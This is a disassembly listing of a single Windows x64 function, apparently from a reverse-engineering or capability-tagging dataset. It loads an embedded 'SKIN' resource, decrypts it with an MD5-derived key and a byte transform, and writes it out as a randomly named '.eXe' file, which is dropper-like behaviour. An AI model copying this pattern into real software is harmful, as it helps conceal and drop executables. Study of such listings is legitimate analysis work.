Function at 0x140004000
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Hash data with md5
Query environment variable

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x3d0
mov qword [rsp + 0x68], 0xfffffffffffffffe
mov qword [rsp + 0x420], rbx
mov rax, qword [0x14024f530]
xor rax, rsp
mov qword [rsp + 0x3c0], rax
mov r15d, r8d
mov ebx, edx
mov qword [rsp + 0x28], rcx
call fcn.140058530
mov rdi, qword [rax + 0x18]
test rdi, rdi
jne 0x140004057
or rax, 0xffffffffffffffff
jmp 0x140004793
movzx edx, bx
lea r8, str.SKIN
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x14000407a
lea eax, [rbx - 2]
jmp 0x140004793
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x140004096
lea eax, [rsi - 3]
jmp 0x140004793
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
mov byte [rsp + 0x190], 0x44
mov byte [rsp + 0x191], 0x33
mov byte [rsp + 0x192], 0x66
mov byte [rsp + 0x193], 0x61
mov byte [rsp + 0x194], 0x55
mov byte [rsp + 0x195], 0x6c
mov byte [rsp + 0x196], 0x74
mov byte [rsp + 0x197], 0x30
mov byte [rsp + 0x198], 0
xor eax, eax
mov qword [rsp + 0x199], rax
mov dword [rsp + 0x1a1], eax
mov word [rsp + 0x1a5], ax
mov byte [rsp + 0x1a7], al
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x7c], eax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x84], eax
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x70], 0x67452301
mov dword [rsp + 0x74], 0xefcdab89
mov dword [rsp + 0x78], 0x98badcfe
mov dword [rsp + 0x7c], 0x10325476
lea r8d, [rax + 8]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x70]
call fcn.140002230
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x198]
call fcn.140002340
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0xd0]
call section..text
lea rdx, [rsp + 0x180]
mov rax, qword [r14 + 7]
mov qword [rdx], rax
mov rax, qword [r14 + 0xf]
mov qword [rdx + 8], rax
mov ecx, 0xa000
call fcn.140006bd0
mov rbp, rax
mov qword [rsp + 0x30], rax
test rax, rax
jne 0x14000420b
lea eax, [rbp - 3]
jmp 0x140004793
movsx ebx, word [r14 + 0x18]
lea eax, [rbx + 1]
movsxd rcx, eax
call fcn.140006bd0
mov rdi, rax
test rax, rax
jne 0x14000422b
lea eax, [rdi - 3]
jmp 0x140004793
movsx r13, bx
mov qword [rsp + 0x38], r13
lea rdx, [r14 + 0x1a]
mov r8, r13
mov rcx, rax
call fcn.1401847d0
mov byte [r13 + rdi], 0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov esi, eax
mov r12d, eax
mov ecx, eax
call fcn.140006bd0
mov rbx, rax
test rax, rax
jne 0x140004283
mov rcx, rdi
call fcn.140006bd8
mov rcx, rbp
call fcn.140006bd8
lea eax, [rbx - 3]
jmp 0x140004793
mov r8d, esi
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, rdi
call fcn.140006bd8
xor ebp, ebp
xor eax, eax
or rsi, 0xffffffffffffffff
mov rcx, rsi
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
cmp byte [rcx + rbx - 2], 0x5c
jne 0x1400043aa
mov rbp, rbx
xor ecx, ecx
call fcn.140182550
mov rcx, rax
call fcn.14018250c
call fcn.140182524
mov edi, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x1a
sub edi, edx
inc edi
movsxd r13, edi
lea rdi, [r12 + r13]
lea rax, [rdi + 4]
mov qword [rsp + 0x40], rax
mov rcx, rax
call fcn.140006bd0
mov rbx, rax
test rax, rax
jne 0x140004323
mov rcx, rbp
call fcn.140006bd8
mov rcx, qword [rsp + 0x30]
call fcn.140006bd8
lea eax, [rsi - 2]
jmp 0x140004793
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140183f90
mov r8, r12
mov rdx, rbp
mov rcx, rbx
call fcn.1401847d0
xor eax, eax
mov rcx, rsi
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
mov byte [rcx + rbx - 1], 0x5c
xor esi, esi
test r13, r13
je 0x14000438d
lea r12, [rcx + rbx]
nop dword [rax + rax]
call fcn.140182524
mov edi, eax
mov eax, 0x4ec4ec4f
imul edi
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x1a
sub edi, edx
add dil, 0x61
mov byte [r12 + rsi], dil
inc rsi
cmp rsi, r13
jb 0x140004360
lea r8, str..eXe
mov rdx, qword [rsp + 0x40]
mov rcx, rbx
call fcn.1401825b0
mov r13, qword [rsp + 0x38]
or rsi, 0xffffffffffffffff
xor eax, eax
mov rcx, rsi
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140005a90
nop
mov rcx, rbx
call fcn.140006bd8
test rbp, rbp
je 0x1400043de
mov rcx, rbp
call fcn.140006bd8
test r15d, r15d
je 0x14000461c
mov rcx, qword [rsp + 0x20]
cmp dword [rcx - 0x10], 4
jge 0x140004412
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rbp, qword [rsp + 0x28]
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.USER32.dll_PostMessageW]
mov rcx, qword [rsp + 0x20]
jmp 0x140004417
mov rbp, qword [rsp + 0x28]
cmp dword [rcx - 0x10], 0
jle 0x14000443f
mov edx, 0x5c
call fcn.14018307c
test rax, rax
je 0x14000443f
mov rdx, qword [rsp + 0x20]
sub rax, rdx
sar rax, 1
test eax, eax
jns 0x1400045aa
xor ebx, ebx
mov word [rsp + 0x1b0], bx
xor edx, edx
mov r8d, 0x206
lea rcx, [rsp + 0x1b2]
call fcn.140183f90
mov r8d, 0x104
lea rdx, [rsp + 0x1b0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea edx, [rbx + 0x5c]
lea rcx, [rsp + 0x1b0]
call fcn.14018263c
mov rdi, rax
lea rax, [rsp + 0x1b0]
sub rdi, rax
sar rdi, 1
inc edi
call fcn.140011418
mov r11, rax
mov ecx, ebx
test rax, rax
setne cl
test ecx, ecx
jne 0x1400044b6
mov ecx, 0x80004005
call fcn.140001f40
int3
mov rax, qword [rax]
mov r8d, 2
mov edx, edi
mov rcx, r11
call qword [rax]
test rax, rax
jne 0x1400044d1
call fcn.140001d30
int3
lea rcx, [rax + 0x18]
mov qword [rsp + 0x28], rcx
test edi, edi
js 0x140004611
cmp edi, dword [rcx - 0xc]
jg 0x140004611
mov dword [rcx - 0x10], edi
movsxd rax, edi
lea rdx, [rax + rax]
mov word [rdx + rcx], bx
mov r9, rdx
lea r8, [rsp + 0x1b0]
call fcn.1401823b4
nop
mov rdx, qword [rsp + 0x20]
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x28]
call fcn.1400061b0
mov rdx, qword [rsp + 0x28]
lea rdi, [rdx - 0x18]
mov rbx, qword [rsp + 0x20]
add rbx, 0xffffffffffffffe8
cmp rdi, rbx
je 0x140004585
cmp dword [rbx + 0x10], 0
jl 0x140004576
mov rax, qword [rbx]
cmp qword [rdi], rax
jne 0x140004576
mov rcx, rdi
call fcn.140006090
mov rsi, rax
or ecx, 0xffffffff
lock xadd dword [rbx + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x140004567
mov rcx, qword [rbx]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x20], rax
or rsi, 0xffffffffffffffff
jmp 0x140004585
mov r8d, dword [rdx - 0x10]
lea rcx, [rsp + 0x20]
call fcn.140005fa0
nop
mov eax, esi
lock xadd dword [rdi + 0x10], eax
dec eax
test eax, eax
jg 0x1400045a5
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rsp + 0x20]
jmp 0x1400045aa
mov rdx, qword [rsp + 0x20]
lea rcx, [rdx - 0x18]
mov rdi, qword [rbp + 0x6e0]
sub rdi, 0x18
cmp rcx, rdi
je 0x14000461c
cmp dword [rdi + 0x10], 0
jl 0x1400045ff
mov rax, qword [rdi]
cmp qword [rcx], rax
jne 0x1400045ff
call fcn.140006090
mov rsi, rax
or ecx, 0xffffffff
lock xadd dword [rdi + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x1400045ee
mov rcx, qword [rdi]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
lea rax, [rsi + 0x18]
mov qword [rbp + 0x6e0], rax
or rsi, 0xffffffffffffffff
jmp 0x14000461c
mov r8d, dword [rdx - 0x10]
lea rcx, [rbp + 0x6e0]
call fcn.140005fa0
jmp 0x14000461c
mov ecx, 0x80070057
call fcn.140001f40
int3
lea rcx, [rsp + 0x48]
call fcn.140058bf4
nop
xor r9d, r9d
mov r8d, 0x1001
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.1400594d0
test eax, eax
jne 0x140004675
lea rcx, [rsp + 0x48]
call fcn.140058fa0
nop
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], esi
dec esi
test esi, esi
jg 0x14000466b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, 0xfffffffc
jmp 0x140004793
mov r12d, dword [r13 + r14 + 0x1a]
lea r14, [r13 + r14 + 0x1e]
mov r13, qword [rsp + 0x30]
nop word [rax + rax]
mov ebp, 0xa000
cmp r12d, ebp
cmovb ebp, r12d
sub r12d, ebp
mov edi, ebp
mov ebx, ebp
shr rbx, 4
test bpl, 0xf
je 0x1400046b0
inc rbx
xor edx, edx
mov r8d, 0xa000
mov rcx, r13
call fcn.140183f90
mov rsi, r14
add r14, rdi
test bl, 1
jne 0x1400046d0
mov r8, rbx
jmp 0x1400046d4
lea r8, [rbx + 1]
shl r8, 4
mov rdx, rsi
lea rcx, [rsp + 0xd0]
call fcn.140001770
xor eax, eax
mov r11, rax
test rbx, rbx
je 0x140004743
mov r9, r13
lea r8, [rsi - 0x10]
nop dword [rax]
test r11b, 1
jne 0x14000470c
lea rdi, [r8 + 0x20]
jmp 0x14000470f
mov rdi, r8
mov rcx, r9
sub rdi, r9
mov edx, reloc.OLEAUT32.dll_SafeArrayGetDim
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
sub al, 0x3c
xor al, 0xcb
mov byte [rcx], al
inc rcx
sub rdx, 1
jne 0x140004720
inc r11
add r9, 0x10
add r8, 0x10
cmp r11, rbx
jb 0x140004700
mov r8d, ebp
mov rdx, r13
lea rcx, [rsp + 0x48]
call fcn.140058874
test r12d, r12d
jne 0x140004690
mov rcx, r13
call fcn.140006bd8
nop
lea rcx, [rsp + 0x48]
call fcn.140058fa0
nop
mov rdx, qword [rsp + 0x20]
add rdx, 0xffffffffffffffe8
or rax, 0xffffffffffffffff
lock xadd dword [rdx + 0x10], eax
dec eax
test eax, eax
jg 0x140004791
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x3c0]
xor rcx, rsp
call fcn.140182230
mov rbx, qword [rsp + 0x420]
add rsp, 0x3d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret